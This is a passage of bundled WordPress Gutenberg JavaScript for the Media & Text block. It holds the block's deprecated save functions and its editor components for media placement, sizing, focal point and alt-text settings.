          &quot;figure&quot;,
          {
            className: &quot;wp-block-media-text__media&quot;,
            style: backgroundStyles,
            children: (mediaTypeRenders[mediaType] || noop)()
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          &quot;div&quot;,
          {
            ...import_block_editor133.useInnerBlocksProps.save({
              className: &quot;wp-block-media-text__content&quot;
            })
          }
        )
      ] });
    },
    migrate: migrateDefaultAlign
  };
  var v37 = {
    attributes: {
      ...v0Attributes,
      isStackedOnMobile: {
        type: &quot;boolean&quot;,
        default: true
      },
      backgroundColor: {
        type: &quot;string&quot;
      },
      customBackgroundColor: {
        type: &quot;string&quot;
      },
      mediaLink: {
        type: &quot;string&quot;
      },
      linkDestination: {
        type: &quot;string&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure a&quot;,
        attribute: &quot;target&quot;
      },
      href: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure a&quot;,
        attribute: &quot;href&quot;
      },
      rel: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure a&quot;,
        attribute: &quot;rel&quot;
      },
      linkClass: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure a&quot;,
        attribute: &quot;class&quot;
      },
      verticalAlignment: {
        type: &quot;string&quot;
      },
      imageFill: {
        type: &quot;boolean&quot;
      },
      focalPoint: {
        type: &quot;object&quot;
      }
    },
    migrate: (0, import_compose30.compose)(migrateCustomColors3, migrateDefaultAlign),
    save({ attributes: attributes2 }) {
      const {
        backgroundColor,
        customBackgroundColor,
        isStackedOnMobile,
        mediaAlt,
        mediaPosition: mediaPosition3,
        mediaType,
        mediaUrl,
        mediaWidth,
        mediaId,
        verticalAlignment,
        imageFill,
        focalPoint,
        linkClass,
        href,
        linkTarget,
        rel
      } = attributes2;
      const newRel = !rel ? void 0 : rel;
      let image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
        &quot;img&quot;,
        {
          src: mediaUrl,
          alt: mediaAlt,
          className: mediaId &amp;&amp; mediaType === &quot;image&quot; ? `wp-image-${mediaId}` : null
        }
      );
      if (href) {
        image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          &quot;a&quot;,
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        );
      }
      const mediaTypeRenders = {
        image: () =&gt; image,
        video: () =&gt; /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(&quot;video&quot;, { controls: true, src: mediaUrl })
      };
      const backgroundClass = (0, import_block_editor133.getColorClassName)(
        &quot;background-color&quot;,
        backgroundColor
      );
      const className = clsx_default({
        &quot;has-media-on-the-right&quot;: &quot;right&quot; === mediaPosition3,
        &quot;has-background&quot;: backgroundClass || customBackgroundColor,
        [backgroundClass]: backgroundClass,
        &quot;is-stacked-on-mobile&quot;: isStackedOnMobile,
        [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
        &quot;is-image-fill&quot;: imageFill
      });
      const backgroundStyles = imageFill ? v1ToV5ImageFillStyles(mediaUrl, focalPoint) : {};
      let gridTemplateColumns;
      if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
        gridTemplateColumns = &quot;right&quot; === mediaPosition3 ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
      }
      const style2 = {
        backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
        gridTemplateColumns
      };
      return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)(&quot;div&quot;, { className, style: style2, children: [
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          &quot;figure&quot;,
          {
            className: &quot;wp-block-media-text__media&quot;,
            style: backgroundStyles,
            children: (mediaTypeRenders[mediaType] || noop)()
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(&quot;div&quot;, { className: &quot;wp-block-media-text__content&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(import_block_editor133.InnerBlocks.Content, {}) })
      ] });
    }
  };
  var v212 = {
    attributes: {
      ...v0Attributes,
      backgroundColor: {
        type: &quot;string&quot;
      },
      customBackgroundColor: {
        type: &quot;string&quot;
      },
      mediaUrl: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure video,figure img&quot;,
        attribute: &quot;src&quot;
      },
      verticalAlignment: {
        type: &quot;string&quot;
      },
      imageFill: {
        type: &quot;boolean&quot;
      },
      focalPoint: {
        type: &quot;object&quot;
      }
    },
    migrate: (0, import_compose30.compose)(migrateCustomColors3, migrateDefaultAlign),
    save({ attributes: attributes2 }) {
      const {
        backgroundColor,
        customBackgroundColor,
        isStackedOnMobile,
        mediaAlt,
        mediaPosition: mediaPosition3,
        mediaType,
        mediaUrl,
        mediaWidth,
        mediaId,
        verticalAlignment,
        imageFill,
        focalPoint
      } = attributes2;
      const mediaTypeRenders = {
        image: () =&gt; /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          &quot;img&quot;,
          {
            src: mediaUrl,
            alt: mediaAlt,
            className: mediaId &amp;&amp; mediaType === &quot;image&quot; ? `wp-image-${mediaId}` : null
          }
        ),
        video: () =&gt; /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(&quot;video&quot;, { controls: true, src: mediaUrl })
      };
      const backgroundClass = (0, import_block_editor133.getColorClassName)(
        &quot;background-color&quot;,
        backgroundColor
      );
      const className = clsx_default({
        &quot;has-media-on-the-right&quot;: &quot;right&quot; === mediaPosition3,
        [backgroundClass]: backgroundClass,
        &quot;is-stacked-on-mobile&quot;: isStackedOnMobile,
        [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
        &quot;is-image-fill&quot;: imageFill
      });
      const backgroundStyles = imageFill ? v1ToV5ImageFillStyles(mediaUrl, focalPoint) : {};
      let gridTemplateColumns;
      if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
        gridTemplateColumns = &quot;right&quot; === mediaPosition3 ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
      }
      const style2 = {
        backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
        gridTemplateColumns
      };
      return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)(&quot;div&quot;, { className, style: style2, children: [
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          &quot;figure&quot;,
          {
            className: &quot;wp-block-media-text__media&quot;,
            style: backgroundStyles,
            children: (mediaTypeRenders[mediaType] || noop)()
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(&quot;div&quot;, { className: &quot;wp-block-media-text__content&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(import_block_editor133.InnerBlocks.Content, {}) })
      ] });
    }
  };
  var v124 = {
    attributes: {
      ...v0Attributes,
      backgroundColor: {
        type: &quot;string&quot;
      },
      customBackgroundColor: {
        type: &quot;string&quot;
      },
      mediaUrl: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure video,figure img&quot;,
        attribute: &quot;src&quot;
      }
    },
    migrate: migrateDefaultAlign,
    save({ attributes: attributes2 }) {
      const {
        backgroundColor,
        customBackgroundColor,
        isStackedOnMobile,
        mediaAlt,
        mediaPosition: mediaPosition3,
        mediaType,
        mediaUrl,
        mediaWidth
      } = attributes2;
      const mediaTypeRenders = {
        image: () =&gt; /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(&quot;img&quot;, { src: mediaUrl, alt: mediaAlt }),
        video: () =&gt; /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(&quot;video&quot;, { controls: true, src: mediaUrl })
      };
      const backgroundClass = (0, import_block_editor133.getColorClassName)(
        &quot;background-color&quot;,
        backgroundColor
      );
      const className = clsx_default({
        &quot;has-media-on-the-right&quot;: &quot;right&quot; === mediaPosition3,
        [backgroundClass]: backgroundClass,
        &quot;is-stacked-on-mobile&quot;: isStackedOnMobile
      });
      let gridTemplateColumns;
      if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
        gridTemplateColumns = &quot;right&quot; === mediaPosition3 ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
      }
      const style2 = {
        backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
        gridTemplateColumns
      };
      return /* @__PURE__ */ (0, import_jsx_runtime295.jsxs)(&quot;div&quot;, { className, style: style2, children: [
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(&quot;figure&quot;, { className: &quot;wp-block-media-text__media&quot;, children: (mediaTypeRenders[mediaType] || noop)() }),
        /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(&quot;div&quot;, { className: &quot;wp-block-media-text__content&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(import_block_editor133.InnerBlocks.Content, {}) })
      ] });
    }
  };
  var deprecated_default27 = [v74, v65, v55, v45, v37, v212, v124];

  // packages/block-library/build-module/media-text/edit.mjs
  var import_i18n107 = __toESM(require_i18n(), 1);
  var import_data59 = __toESM(require_data(), 1);
  var import_element55 = __toESM(require_element(), 1);
  var import_block_editor135 = __toESM(require_block_editor(), 1);
  var import_components66 = __toESM(require_components(), 1);
  var import_blob15 = __toESM(require_blob(), 1);
  var import_core_data25 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/media-text/media-container.mjs
  var import_components65 = __toESM(require_components(), 1);
  var import_block_editor134 = __toESM(require_block_editor(), 1);
  var import_i18n106 = __toESM(require_i18n(), 1);
  var import_compose31 = __toESM(require_compose(), 1);
  var import_data58 = __toESM(require_data(), 1);
  var import_element54 = __toESM(require_element(), 1);
  var import_blob14 = __toESM(require_blob(), 1);
  var import_notices10 = __toESM(require_notices(), 1);

  // packages/block-library/build-module/media-text/image-fill.mjs
  function imageFillStyles(url, focalPoint) {
    return url ? {
      objectPosition: focalPoint ? `${Math.round(focalPoint.x * 100)}% ${Math.round(
        focalPoint.y * 100
      )}%` : `50% 50%`
    } : {};
  }

  // packages/block-library/build-module/media-text/media-container.mjs
  var import_jsx_runtime296 = __toESM(require_jsx_runtime(), 1);
  var ALLOWED_MEDIA_TYPES5 = [&quot;image&quot;, &quot;video&quot;];
  var noop2 = () =&gt; {
  };
  var ResizableBoxContainer = (0, import_element54.forwardRef)(
    ({ isSelected, isStackedOnMobile, ...props }, ref) =&gt; {
      const isMobile = (0, import_compose31.useViewportMatch)(&quot;small&quot;, &quot;&lt;&quot;);
      return /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(
        import_components65.ResizableBox,
        {
          ref,
          showHandle: isSelected &amp;&amp; (!isMobile || !isStackedOnMobile),
          ...props
        }
      );
    }
  );
  function ToolbarEditButton({
    mediaId,
    mediaUrl,
    onSelectMedia,
    toggleUseFeaturedImage,
    useFeaturedImage
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(import_block_editor134.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(
      import_block_editor134.MediaReplaceFlow,
      {
        mediaId,
        mediaURL: mediaUrl,
        allowedTypes: ALLOWED_MEDIA_TYPES5,
        onSelect: onSelectMedia,
        onToggleFeaturedImage: toggleUseFeaturedImage,
        useFeaturedImage,
        onReset: () =&gt; onSelectMedia(void 0)
      }
    ) });
  }
  function PlaceholderContainer({
    className,
    mediaUrl,
    onSelectMedia,
    toggleUseFeaturedImage
  }) {
    const { createErrorNotice } = (0, import_data58.useDispatch)(import_notices10.store);
    const onUploadError = (message) =&gt; {
      createErrorNotice(message, { type: &quot;snackbar&quot; });
    };
    return /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(
      import_block_editor134.MediaPlaceholder,
      {
        icon: /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(import_block_editor134.BlockIcon, { icon: media_default }),
        labels: {
          title: (0, import_i18n106.__)(&quot;Media area&quot;)
        },
        className,
        onSelect: onSelectMedia,
        onToggleFeaturedImage: toggleUseFeaturedImage,
        allowedTypes: ALLOWED_MEDIA_TYPES5,
        onError: onUploadError,
        disableMediaButtons: mediaUrl
      }
    );
  }
  function MediaContainer(props, ref) {
    const {
      className,
      commitWidthChange,
      focalPoint,
      imageFill,
      isSelected,
      isStackedOnMobile,
      mediaAlt,
      mediaId,
      mediaPosition: mediaPosition3,
      mediaType,
      mediaUrl,
      mediaWidth,
      onSelectMedia,
      onWidthChange,
      enableResize,
      toggleUseFeaturedImage,
      useFeaturedImage,
      featuredImageURL,
      featuredImageAlt,
      refMedia
    } = props;
    const isTemporaryMedia2 = !mediaId &amp;&amp; (0, import_blob14.isBlobURL)(mediaUrl);
    const { toggleSelection } = (0, import_data58.useDispatch)(import_block_editor134.store);
    if (mediaUrl || featuredImageURL || useFeaturedImage) {
      const onResizeStart = () =&gt; {
        toggleSelection(false);
      };
      const onResize = (event, direction, elt) =&gt; {
        onWidthChange(parseInt(elt.style.width));
      };
      const onResizeStop = (event, direction, elt) =&gt; {
        toggleSelection(true);
        commitWidthChange(parseInt(elt.style.width));
      };
      const enablePositions = {
        right: enableResize &amp;&amp; mediaPosition3 === &quot;left&quot;,
        left: enableResize &amp;&amp; mediaPosition3 === &quot;right&quot;
      };
      const positionStyles = mediaType === &quot;image&quot; &amp;&amp; imageFill ? imageFillStyles(mediaUrl || featuredImageURL, focalPoint) : {};
      const mediaTypeRenderers = {
        image: () =&gt; useFeaturedImage &amp;&amp; featuredImageURL ? /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(
          &quot;img&quot;,
          {
            ref: refMedia,
            src: featuredImageURL,
            alt: featuredImageAlt,
            style: positionStyles
          }
        ) : mediaUrl &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(
          &quot;img&quot;,
          {
            ref: refMedia,
            src: mediaUrl,
            alt: mediaAlt,
            style: positionStyles
          }
        ),
        video: () =&gt; /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(&quot;video&quot;, { controls: true, ref: refMedia, src: mediaUrl })
      };
      return /* @__PURE__ */ (0, import_jsx_runtime296.jsxs)(
        ResizableBoxContainer,
        {
          as: &quot;figure&quot;,
          className: clsx_default(
            className,
            &quot;editor-media-container__resizer&quot;,
            { &quot;is-transient&quot;: isTemporaryMedia2 }
          ),
          size: { width: mediaWidth + &quot;%&quot; },
          minWidth: &quot;10%&quot;,
          maxWidth: &quot;100%&quot;,
          enable: enablePositions,
          onResizeStart,
          onResize,
          onResizeStop,
          axis: &quot;x&quot;,
          isSelected,
          isStackedOnMobile,
          ref,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(
              ToolbarEditButton,
              {
                onSelectMedia,
                mediaUrl: useFeaturedImage &amp;&amp; featuredImageURL ? featuredImageURL : mediaUrl,
                mediaId,
                toggleUseFeaturedImage,
                useFeaturedImage
              }
            ),
            (mediaTypeRenderers[mediaType] || noop2)(),
            isTemporaryMedia2 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(import_components65.Spinner, {}),
            !useFeaturedImage &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(PlaceholderContainer, { ...props }),
            !featuredImageURL &amp;&amp; useFeaturedImage &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(
              import_components65.Placeholder,
              {
                className: &quot;wp-block-media-text--placeholder-image&quot;,
                style: positionStyles,
                withIllustration: true
              }
            )
          ]
        }
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(PlaceholderContainer, { ...props });
  }
  var media_container_default = (0, import_element54.forwardRef)(MediaContainer);

  // packages/block-library/build-module/media-text/edit.mjs
  var import_jsx_runtime297 = __toESM(require_jsx_runtime(), 1);
  var { ResolutionTool: ResolutionTool3 } = unlock(import_block_editor135.privateApis);
  var applyWidthConstraints = (width) =&gt; Math.max(
    WIDTH_CONSTRAINT_PERCENTAGE,
    Math.min(width, 100 - WIDTH_CONSTRAINT_PERCENTAGE)
  );
  function getImageSourceUrlBySizeSlug(image, slug) {
    return image?.media_details?.sizes?.[slug]?.source_url;
  }
  function attributesFromMedia2({
    attributes: { linkDestination, href },
    setAttributes
  }) {
    return (media) =&gt; {
      if (!media || !media.url) {
        setAttributes({
          mediaAlt: void 0,
          mediaId: void 0,
          mediaType: void 0,
          mediaUrl: void 0,
          mediaLink: void 0,
          href: void 0,
          focalPoint: void 0,
          useFeaturedImage: false
        });
        return;
      }
      if ((0, import_blob15.isBlobURL)(media.url)) {
        media.type = (0, import_blob15.getBlobTypeByURL)(media.url);
      }
      let mediaType;
      let src;
      if (media.media_type) {
        if (media.media_type === &quot;image&quot;) {
          mediaType = &quot;image&quot;;
        } else {
          mediaType = &quot;video&quot;;
        }
      } else {
        mediaType = media.type;
      }
      if (mediaType === &quot;image&quot;) {
        src = media.sizes?.large?.url || media.media_details?.sizes?.large?.source_url;
      }
      let newLinkDestination = linkDestination;
      let newHref = href;
      if (mediaType === &quot;image&quot;) {
        if (!newLinkDestination) {
          switch (window?.wp?.media?.view?.settings?.defaultProps?.link || LINK_DESTINATION_NONE3) {
            case &quot;file&quot;:
            case LINK_DESTINATION_MEDIA3:
              newLinkDestination = LINK_DESTINATION_MEDIA3;
              break;
            case &quot;post&quot;:
            case LINK_DESTINATION_ATTACHMENT3:
              newLinkDestination = LINK_DESTINATION_ATTACHMENT3;
              break;
            case LINK_DESTINATION_NONE3:
            default:
              newLinkDestination = LINK_DESTINATION_NONE3;
              break;
          }
        }
        switch (newLinkDestination) {
          case LINK_DESTINATION_MEDIA3:
            newHref = media.url;
            break;
          case LINK_DESTINATION_ATTACHMENT3:
            newHref = media.link;
            break;
        }
      }
      setAttributes({
        mediaAlt: media.alt,
        mediaId: media.id,
        mediaType,
        mediaUrl: src || media.url,
        mediaLink: media.link || void 0,
        href: newHref,
        linkDestination: newLinkDestination,
        focalPoint: void 0,
        useFeaturedImage: false
      });
    };
  }
  function MediaTextResolutionTool({ image, value, onChange }) {
    const { imageSizes } = (0, import_data59.useSelect)((select9) =&gt; {
      const { getSettings: getSettings2 } = select9(import_block_editor135.store);
      return {
        imageSizes: getSettings2().imageSizes
      };
    }, []);
    if (!imageSizes?.length) {
      return null;
    }
    const imageSizeOptions = imageSizes.filter(({ slug }) =&gt; getImageSourceUrlBySizeSlug(image, slug)).map(({ name: name123, slug }) =&gt; ({ value: slug, label: name123 }));
    return /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
      ResolutionTool3,
      {
        value,
        defaultValue: DEFAULT_MEDIA_SIZE_SLUG4,
        options: imageSizeOptions,
        onChange
      }
    );
  }
  function MediaTextEdit({
    attributes: attributes2,
    isSelected,
    setAttributes,
    context: { postId, postType }
  }) {
    const {
      focalPoint,
      href,
      imageFill,
      isStackedOnMobile,
      linkClass,
      linkDestination,
      linkTarget,
      mediaAlt,
      mediaId,
      mediaPosition: mediaPosition3,
      mediaType,
      mediaUrl,
      mediaWidth,
      mediaSizeSlug,
      rel,
      verticalAlignment,
      allowedBlocks,
      useFeaturedImage
    } = attributes2;
    const [featuredImage] = (0, import_core_data25.useEntityProp)(
      &quot;postType&quot;,
      postType,
      &quot;featured_media&quot;,
      postId
    );
    const { featuredImageMedia } = (0, import_data59.useSelect)(
      (select9) =&gt; {
        return {
          featuredImageMedia: featuredImage &amp;&amp; useFeaturedImage ? select9(import_core_data25.store).getEntityRecord(
            &quot;postType&quot;,
            &quot;attachment&quot;,
            featuredImage,
            {
              context: &quot;view&quot;
            }
          ) : void 0
        };
      },
      [featuredImage, useFeaturedImage]
    );
    const { image } = (0, import_data59.useSelect)(
      (select9) =&gt; {
        return {
          image: mediaId &amp;&amp; isSelected ? select9(import_core_data25.store).getEntityRecord(
            &quot;postType&quot;,
            &quot;attachment&quot;,
            mediaId,
            {
              context: &quot;view&quot;
            }
          ) : null
        };
      },
      [isSelected, mediaId]
    );
    const featuredImageURL = useFeaturedImage ? featuredImageMedia?.source_url : &quot;&quot;;
    const featuredImageAlt = useFeaturedImage ? featuredImageMedia?.alt_text : &quot;&quot;;
    const toggleUseFeaturedImage = () =&gt; {
      setAttributes({
        imageFill: false,
        mediaType: &quot;image&quot;,
        mediaId: void 0,
        mediaUrl: void 0,
        mediaAlt: void 0,
        mediaLink: void 0,
        linkDestination: void 0,
        linkTarget: void 0,
        linkClass: void 0,
        rel: void 0,
        href: void 0,
        useFeaturedImage: !useFeaturedImage
      });
    };
    const refMedia = (0, import_element55.useRef)();
    const imperativeFocalPointPreview = (value) =&gt; {
      const { style: style22 } = refMedia.current;
      const { x: x2, y: y2 } = value;
      style22.objectPosition = `${x2 * 100}% ${y2 * 100}%`;
    };
    const [temporaryMediaWidth, setTemporaryMediaWidth] = (0, import_element55.useState)(null);
    const onSelectMedia = attributesFromMedia2({ attributes: attributes2, setAttributes });
    const onSetHref = (props) =&gt; {
      setAttributes(props);
    };
    const onWidthChange = (width) =&gt; {
      setTemporaryMediaWidth(applyWidthConstraints(width));
    };
    const commitWidthChange = (width) =&gt; {
      setAttributes({
        mediaWidth: applyWidthConstraints(width)
      });
      setTemporaryMediaWidth(null);
    };
    const classNames = clsx_default({
      &quot;has-media-on-the-right&quot;: &quot;right&quot; === mediaPosition3,
      &quot;is-selected&quot;: isSelected,
      &quot;is-stacked-on-mobile&quot;: isStackedOnMobile,
      [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
      &quot;is-image-fill-element&quot;: imageFill
    });
    const widthString = `${temporaryMediaWidth || mediaWidth}%`;
    const gridTemplateColumns = &quot;right&quot; === mediaPosition3 ? `1fr ${widthString}` : `${widthString} 1fr`;
    const style2 = {
      gridTemplateColumns,
      msGridColumns: gridTemplateColumns
    };
    const onMediaAltChange = (newMediaAlt) =&gt; {
      setAttributes({ mediaAlt: newMediaAlt });
    };
    const onVerticalAlignmentChange = (alignment) =&gt; {
      setAttributes({ verticalAlignment: alignment });
    };
    const updateImage = (newMediaSizeSlug) =&gt; {
      const newUrl = getImageSourceUrlBySizeSlug(image, newMediaSizeSlug);
      if (!newUrl) {
        return null;
      }
      setAttributes({
        mediaUrl: newUrl,
        mediaSizeSlug: newMediaSizeSlug
      });
    };
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const mediaTextGeneralSettings = /* @__PURE__ */ (0, import_jsx_runtime297.jsxs)(
      import_components66.__experimentalToolsPanel,
      {
        label: (0, import_i18n107.__)(&quot;Settings&quot;),
        resetAll: () =&gt; {
          setAttributes({
            isStackedOnMobile: true,
            imageFill: false,
            mediaAlt: &quot;&quot;,
            focalPoint: void 0,
            mediaWidth: 50
          });
          updateImage(DEFAULT_MEDIA_SIZE_SLUG4);
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            import_components66.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n107.__)(&quot;Media width&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; mediaWidth !== 50,
              onDeselect: () =&gt; setAttributes({ mediaWidth: 50 }),
              children: /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
                import_components66.RangeControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n107.__)(&quot;Media width&quot;),
                  value: temporaryMediaWidth || mediaWidth,
                  onChange: commitWidthChange,
                  min: WIDTH_CONSTRAINT_PERCENTAGE,
                  max: 100 - WIDTH_CONSTRAINT_PERCENTAGE
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            import_components66.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n107.__)(&quot;Stack on mobile&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; !isStackedOnMobile,
              onDeselect: () =&gt; setAttributes({ isStackedOnMobile: true }),
              children: /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
                import_components66.ToggleControl,
                {
                  label: (0, import_i18n107.__)(&quot;Stack on mobile&quot;),
                  checked: isStackedOnMobile,
                  onChange: () =&gt; setAttributes({
                    isStackedOnMobile: !isStackedOnMobile
                  })
                }
              )
            }
          ),
          mediaType === &quot;image&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            import_components66.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n107.__)(&quot;Crop image to fill&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; !!imageFill,
              onDeselect: () =&gt; setAttributes({ imageFill: false }),
              children: /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
                import_components66.ToggleControl,
                {
                  label: (0, import_i18n107.__)(&quot;Crop image to fill&quot;),
                  checked: !!imageFill,
                  onChange: () =&gt; setAttributes({
                    imageFill: !imageFill
                  })
                }
              )
            }
          ),
          imageFill &amp;&amp; (mediaUrl || featuredImageURL) &amp;&amp; mediaType === &quot;image&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            import_components66.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n107.__)(&quot;Focal point&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; !!focalPoint,
              onDeselect: () =&gt; setAttributes({ focalPoint: void 0 }),
              children: /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
                import_components66.FocalPointPicker,
                {
                  label: (0, import_i18n107.__)(&quot;Focal point&quot;),
                  url: useFeaturedImage &amp;&amp; featuredImageURL ? featuredImageURL : mediaUrl,
                  value: focalPoint,
                  onChange: (value) =&gt; setAttributes({ focalPoint: value }),
                  onDragStart: imperativeFocalPointPreview,
                  onDrag: imperativeFocalPointPreview
                }
              )
            }
          ),
          mediaType === &quot;image&quot; &amp;&amp; mediaUrl &amp;&amp; !useFeaturedImage &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            import_components66.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n107.__)(&quot;Alternative text&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; !!mediaAlt,
              onDeselect: () =&gt; setAttributes({ mediaAlt: &quot;&quot; }),
              children: /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
                import_components66.TextareaControl,
                {
                  label: (0, import_i18n107.__)(&quot;Alternative text&quot;),
                  value: mediaAlt,
                  onChange: onMediaAltChange,
                  help: /* @__PURE__ */ (0, import_jsx_runtime297.jsxs)(import_jsx_runtime297.Fragment, { children: [
                    /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
                      import_components66.ExternalLink,
                      {
                        href: (
                          // translators: Localized tutorial, if one exists. W3C Web Accessibility Initiative link has list of existing translations.
                          (0, import_i18n107.__)(
                            &quot;https://www.w3.org/WAI/tutorials/images/decision-tree/&quot;
                          )
                        ),
                        children: (0, import_i18n107.__)(
                          &quot;Describe the purpose of the image.&quot;
                        )
                      }
                    ),
                    /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(&quot;br&quot;, {}),
                    (0, import_i18n107.__)(&quot;Leave empty if decorative.&quot;)
                  ] })
                }
              )
            }
          ),
          mediaType === &quot;image&quot; &amp;&amp; !useFeaturedImage &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            MediaTextResolutionTool,
            {
              image,
              value: mediaSizeSlug,
              onChange: updateImage
            }
          )
        ]
      }
    );
    const blockProps = (0, import_block_editor135.useBlockProps)({
      className: classNames,
      style: style2
    });
    const innerBlocksProps = (0, import_block_editor135.useInnerBlocksProps)(
      { className: &quot;wp-block-media-text__content&quot; },
      { template: TEMPLATE10, allowedBlocks }
    );
    const blockEditingMode = (0, import_block_editor135.useBlockEditingMode)();
    return /* @__PURE__ */ (0, import_jsx_runtime297.jsxs)(import_jsx_runtime297.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(import_block_editor135.InspectorControls, { children: mediaTextGeneralSettings }),
      /* @__PURE__ */ (0, import_jsx_runtime297.jsxs)(import_block_editor135.BlockControls, { group: &quot;block&quot;, children: [
        blockEditingMode === &quot;default&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime297.jsxs)(import_jsx_runtime297.Fragment, { children: [
          /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            import_block_editor135.BlockVerticalAlignmentControl,
            {
              onChange: onVerticalAlignmentChange,
              value: verticalAlignment
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            import_components66.ToolbarButton,
            {
              icon: pull_left_default,
              title: (0, import_i18n107.__)(&quot;Show media on left&quot;),
              isActive: mediaPosition3 === &quot;left&quot;,
              onClick: () =&gt; setAttributes({ mediaPosition: &quot;left&quot; })
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            import_components66.ToolbarButton,
            {
              icon: pull_right_default,
              title: (0, import_i18n107.__)(&quot;Show media on right&quot;),
              isActive: mediaPosition3 === &quot;right&quot;,
              onClick: () =&gt; setAttributes({ mediaPosition: &quot;right&quot; })
            }
          )
        ] }),
        mediaType === &quot;image&quot; &amp;&amp; !useFeaturedImage &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
          import_block_editor135.__experimentalImageURLInputUI,
          {
            url: href || &quot;&quot;,
            onChangeUrl: onSetHref,
            linkDestination,
            mediaType,
            mediaUrl: image &amp;&amp; image.source_url,
            mediaLink: image &amp;&amp; image.link,
            linkTarget,
            linkClass,
            rel
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime297.jsxs)(&quot;div&quot;, { ...blockProps, children: [
        mediaPosition3 === &quot;right&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(&quot;div&quot;, { ...innerBlocksProps }),
        /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
          media_container_default,
          {
            className: &quot;wp-block-media-text__media&quot;,
            onSelectMedia,
            onWidthChange,
            commitWidthChange,
            refMedia,
